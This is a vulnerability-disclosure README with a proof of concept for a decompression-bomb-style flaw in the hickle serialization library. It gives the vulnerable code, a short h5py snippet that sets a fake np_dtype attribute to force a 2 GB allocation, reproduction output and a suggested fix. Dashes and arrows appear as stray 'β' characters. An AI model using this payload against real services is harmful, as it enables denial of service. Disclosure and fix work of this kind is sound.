hickle β HDF5 np_dtype Attribute Decompression Bomb (PoC)
Repo: MBM7/hickle-dtype-decompression-bomb-poc
Status: Responsible disclosure β submitted to Huntr
Severity: High / CWE-789
Package: hickle (PyPI) β HDF5-backed Python/NumPy serialization
Summary
A crafted 12 KB .hkl hickle file causes hickle.load() to allocate
2 GB of memory silently β no exception raised, the returned array
appears valid with the fabricated dtype.
| File size | Fake np_dtype attr | Peak allocation | Amplification |
|---|---|---|---|
| 12,832 B | |S500000000 | 500 MB | 1 : 38,965 |
| 12,832 B | |S2000000000 | 2,000 MB | 1 : 155,860 |
Root Cause
hickle/loaders/load_numpy.py, NDArrayLikeContainer.convert():
def convert(self):
data = np.array(
self._content,
dtype=self._h5_attrs['np_dtype'] # β read from HDF5 attr, NO validation
) # β np.array() allocates dtype.itemsize * n_elements bytes
The np_dtype HDF5 attribute on the dataset declares the numpy dtype for
reconstruction. A single attr write changes it to |S2000000000 (2 GB
itemsize). np.array(tiny_data, dtype='|S2000000000') allocates 2 GB
to reinterpret the data β no exception raised, LOADED successfully.
Attack
Single h5py attribute patch on a legitimate hickle file:
import h5py
with h5py.File("model.hkl", "r+") as f:
f["data"].attrs["np_dtype"] = "|S2000000000"
# File grows from 8,736 β 12,832 bytes
# hickle.load("model.hkl") β 2 GB silent allocation
Distinct from keras/anndata HDF5 findings
| keras / anndata | hickle | |
|---|---|---|
| Mechanism | h5py sparse dataset ds[...] |
np.array(data, dtype=attr) |
| Result | OOM kill / silent sparse load | Silent dtype reinterpretation |
| Patch target | Dataset shape (chunked) | np_dtype string attribute |
| Code path | legacy_h5_format / sparse_dataset | load_numpy.py convert() |
Reproduce
pip install hickle numpy h5py
python poc_hickle_dtype_bomb.py
Expected:
Patched .hkl size : 12,832 bytes
Expected alloc : 2,000,000,000 bytes (2GB)
Amplification : 1:155,860
Result : LOADED dtype=|S2000000000 peak=2000MB
Impact
Any service loading user-supplied .hkl files via hickle.load() can be
OOM-killed by a 12 KB payload. Silent allocation makes it harder to detect.
Suggested Fix
In NDArrayLikeContainer.convert(), validate before np.array():
MAX_DTYPE_BYTES = 256 * 1024 * 1024 # 256 MB
dt = np.dtype(self._h5_attrs['np_dtype'])
if dt.itemsize > MAX_DTYPE_BYTES:
raise ValueError(
f"np_dtype itemsize {dt.itemsize} exceeds safety limit β "
"possible decompression bomb"
)
Environment
| Package | Version |
|---|---|
| hickle | 5.0.3 |
| h5py | 3.14.0 |
| Python | 3.12 |